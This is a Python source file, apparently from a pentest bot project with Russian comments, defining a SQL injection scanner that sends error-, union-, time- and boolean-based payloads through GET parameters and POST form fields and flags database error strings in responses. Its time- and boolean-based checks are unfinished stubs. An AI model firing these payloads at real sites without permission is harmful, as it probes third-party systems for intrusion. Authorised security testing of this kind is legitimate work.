components/sql_scanner.py - main - Stormsidee/PentestBotPY

components/sql_scanner.py
186 строк7 KB
Stormsidee
upd: added xss and sql scanner
17 окт 2025, 15:55
17 окт 2025, 15:557404fbc
import requests
import time
from urllib.parse import urljoin

class SQLScanner:
    def __init__(self):
        self.vulnerabilities = []
        
        # Полезные нагрузки для разных типов SQL инъекций
        self.payloads = {
            'error_based': [
                "'",
                "';",
                "' OR '1'='1",
                "' OR 1=1--",
                "' UNION SELECT 1,2,3--",
                "' AND 1=2 UNION SELECT 1,2,3--"
            ],
            'time_based': [
                "' AND SLEEP(5)--",
                "' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--",
                "' WAITFOR DELAY '00:00:05'--"
            ],
            'boolean_based': [
                "' AND 1=1--",
                "' AND 1=2--",
                "' OR EXISTS(SELECT * FROM users)--"
            ]
        }
        
        # Индикаторы уязвимостей
        self.error_indicators = [
            "mysql_fetch_array",
            "mysql_fetch_assoc",
            "Microsoft OLE DB Provider",
            "ODBC Driver",
            "SQL syntax",
            "ORA-",  # Oracle errors
            "PostgreSQL", 
            "SQLite",
            "Warning: mysql",
            "Unclosed quotation mark",
            "You have an error in your SQL syntax"
        ]

    def scan_url(self, url, params=None):
        """Сканирование URL на SQL инъекции"""
        results = {
            'url': url,
            'vulnerable': False,
            'payloads_found': [],
            'type': None
        }
        
        # Если параметры не указаны, пробуем стандартные
        if params is None:
            params = ['id', 'user', 'page', 'category', 'search']
        
        # Тестируем каждый параметр
        for param in params:
            print(f"🔍 Тестирую параметр: {param}")
            
            # Тестируем разные типы payloads
            for payload_type, payload_list in self.payloads.items():
                for payload in payload_list:
                    try:
                        # Для GET параметров
                        test_url = f"{url}?{param}={payload}"
                        
                        # Отправляем запрос
                        response = requests.get(
                            test_url, 
                            timeout=10,
                            headers={'User-Agent': 'SQL-Scanner-Bot'}
                        )
                        
                        # Проверяем наличие индикаторов
                        if self.check_vulnerability(response.text, payload_type):
                            results['vulnerable'] = True
                            results['payloads_found'].append({
                                'parameter': param,
                                'payload': payload,
                                'type': payload_type
                            })
                            results['type'] = payload_type
                            print(f"💉 Найдена уязвимость в параметре {param}!")
                            break
                    
                    except requests.exceptions.RequestException as e:
                        print(f"❌ Ошибка запроса: {e}")
                        continue
                    
                    # Небольшая задержка чтобы не заблокировали
                    time.sleep(0.5)
        
        return results

    def scan_form(self, url, form_data):
        """Сканирование POST форм"""
        results = {
            'url': url,
            'vulnerable': False,
            'payloads_found': []
        }
        
        for field_name, original_value in form_data.items():
            print(f"🔍 Тестирую поле формы: {field_name}")
            
            for payload in self.payloads['error_based']:
                try:
                    # Создаем копию данных формы с payload
                    test_data = form_data.copy()
                    test_data[field_name] = payload
                    
                    # Отправляем POST запрос
                    response = requests.post(
                        url,
                        data=test_data,
                        timeout=10,
                        headers={'User-Agent': 'SQL-Scanner-Bot'}
                    )
                    
                    # Проверяем уязвимость
                    if self.check_vulnerability(response.text, 'error_based'):
                        results['vulnerable'] = True
                        results['payloads_found'].append({
                            'field': field_name,
                            'payload': payload,
                            'type': 'POST'
                        })
                        print(f"💉 Найдена уязвимость в поле {field_name}!")
                        break
                
                except requests.exceptions.RequestException as e:
                    print(f"❌ Ошибка запроса: {e}")
                    continue
                
                time.sleep(0.5)
        
        return results

    def check_vulnerability(self, response_text, payload_type):
        """Проверка ответа на наличие индикаторов уязвимости"""
        response_lower = response_text.lower()
        
        # Проверка error-based инъекций
        if payload_type == 'error_based':
            for indicator in self.error_indicators:
                if indicator.lower() in response_lower:
                    return True
        
        # Проверка time-based инъекций (нужна более сложная логика)
        elif payload_type == 'time_based':
            # Здесь можно добавить логику измерения времени ответа
            pass
            
        # Проверка boolean-based инъекций  
        elif payload_type == 'boolean_based':
            # Нужно сравнивать ответы с True/False payloads
            pass
            
        return False

    def generate_report(self, results):
        """Генерация отчета о сканировании"""
        if not results['vulnerable']:
            return "✅ SQL инъекции не найдены"
        
        report = "💉 НАЙДЕНЫ SQL ИНЪЕКЦИИ!\n\n"
        report += f"🎯 URL: {results['url']}\n"
        report += f"📊 Тип: {results['type']}\n\n"
        report += "📋 Найденные уязвимости:\n"
        
        for vuln in results['payloads_found']:
            if 'parameter' in vuln:
                report += f"• Параметр: {vuln['parameter']}\n"
            elif 'field' in vuln:
                report += f"• Поле формы: {vuln['field']}\n"
            
            report += f"  Payload: {vuln['payload']}\n"
            report += f"  Тип: {vuln['type']}\n\n"
        
        return report

# Создаем глобальный экземпляр сканера
sql_scanner = SQLScanner()